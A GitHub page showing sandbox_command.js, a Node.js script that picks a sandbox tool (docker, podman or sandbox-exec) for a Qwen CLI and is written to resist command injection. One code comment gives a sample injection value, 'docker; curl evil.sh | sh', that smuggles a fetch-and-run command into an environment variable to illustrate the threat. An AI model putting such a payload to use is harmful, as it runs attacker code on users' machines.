-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathsandbox_command.js
More file actions
168 lines (157 loc) · 4.96 KB
/
Copy pathsandbox_command.js
File metadata and controls
168 lines (157 loc) · 4.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
/**
* @license
* Copyright 2025 Google LLC
* SPDX-License-Identifier: Apache-2.0
*/
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import { execFileSync } from 'node:child_process';
import { existsSync, readFileSync } from 'node:fs';
import path from 'node:path';
const { join, dirname } = path;
import stripJsonComments from 'strip-json-comments';
import os from 'node:os';
import yargs from 'yargs';
import { hideBin } from 'yargs/helpers';
import dotenv from 'dotenv';
import { bootstrapHomeEnv, resolvePath } from './lib/qwen-home-bootstrap.js';
const argv = yargs(hideBin(process.argv)).option('q', {
alias: 'quiet',
type: 'boolean',
default: false,
}).argv;
let qwenSandbox = process.env.QWEN_SANDBOX;
bootstrapHomeEnv();
if (!qwenSandbox) {
const configDir = process.env.QWEN_HOME
? resolvePath(process.env.QWEN_HOME)
: join(os.homedir(), '.qwen');
const userSettingsFile = join(configDir, 'settings.json');
if (existsSync(userSettingsFile)) {
const settings = JSON.parse(
stripJsonComments(readFileSync(userSettingsFile, 'utf-8')),
);
if (settings.sandbox) {
qwenSandbox = settings.sandbox;
}
}
}
if (!qwenSandbox) {
// Walk up from cwd to find a project-level .env. Parse manually and copy
// only QWEN_SANDBOX — calling dotenv.config() here would inject every key,
// including QWEN_HOME / QWEN_RUNTIME_DIR that the main CLI hard-blocks via
// PROJECT_ENV_HARDCODED_EXCLUSIONS. A project file must not be able to
// redirect global state through this back door.
let currentDir = process.cwd();
while (true) {
const qwenEnv = join(currentDir, '.qwen', '.env');
const regularEnv = join(currentDir, '.env');
let candidate = null;
if (existsSync(qwenEnv)) {
candidate = qwenEnv;
} else if (existsSync(regularEnv)) {
candidate = regularEnv;
}
if (candidate) {
try {
const parsed = dotenv.parse(readFileSync(candidate, 'utf-8'));
if (
parsed.QWEN_SANDBOX &&
!Object.hasOwn(process.env, 'QWEN_SANDBOX')
) {
process.env.QWEN_SANDBOX = parsed.QWEN_SANDBOX;
}
} catch (_e) {
// Match dotenv's quiet-mode behavior used elsewhere.
}
break;
}
const parentDir = dirname(currentDir);
if (parentDir === currentDir) {
break;
}
currentDir = parentDir;
}
qwenSandbox = process.env.QWEN_SANDBOX;
}
qwenSandbox = (qwenSandbox || '').toLowerCase();
const commandExists = (cmd) => {
// Pass `cmd` as a separate argv element (never interpolated into a shell
// command string) so a malicious QWEN_SANDBOX value such as
// `docker; curl evil.sh | sh` cannot inject extra commands.
const check = (candidate) => {
if (os.platform() === 'win32') {
// Use 'where.exe' (not 'where') because PowerShell aliases 'where' to
// 'Where-Object', which breaks command detection.
execFileSync('where.exe', [candidate], { stdio: 'ignore' });
} else {
// 'command -v' is a POSIX shell builtin, so it must run inside a shell.
// Bind the candidate to $1 rather than splicing it into the script text.
// Use an absolute '/bin/sh' (matching execSync's default) so a
// PATH-controlled 'sh' from an untrusted project cannot be run here.
execFileSync('/bin/sh', ['-c', 'command -v "$1"', 'sh', candidate], {
stdio: 'ignore',
});
}
};
try {
check(cmd);
return true;
} catch {
if (os.platform() === 'win32' && !cmd.endsWith('.exe')) {
try {
check(`${cmd}.exe`);
return true;
} catch {
return false;
}
}
return false;
}
};
let command = '';
if (['1', 'true'].includes(qwenSandbox)) {
if (commandExists('docker')) {
command = 'docker';
} else if (commandExists('podman')) {
command = 'podman';
} else {
console.error(
'ERROR: install docker or podman or specify command in QWEN_SANDBOX',
);
process.exit(1);
}
} else if (qwenSandbox && !['0', 'false'].includes(qwenSandbox)) {
if (commandExists(qwenSandbox)) {
command = qwenSandbox;
} else {
console.error(
`ERROR: missing sandbox command '${qwenSandbox}' (from QWEN_SANDBOX)`,
);
process.exit(1);
}
} else {
if (os.platform() === 'darwin' && process.env.SEATBELT_PROFILE !== 'none') {
if (commandExists('sandbox-exec')) {
command = 'sandbox-exec';
} else {
process.exit(1);
}
} else {
process.exit(1);
}
}
if (!argv.q) {
console.log(command);
}
process.exit(0);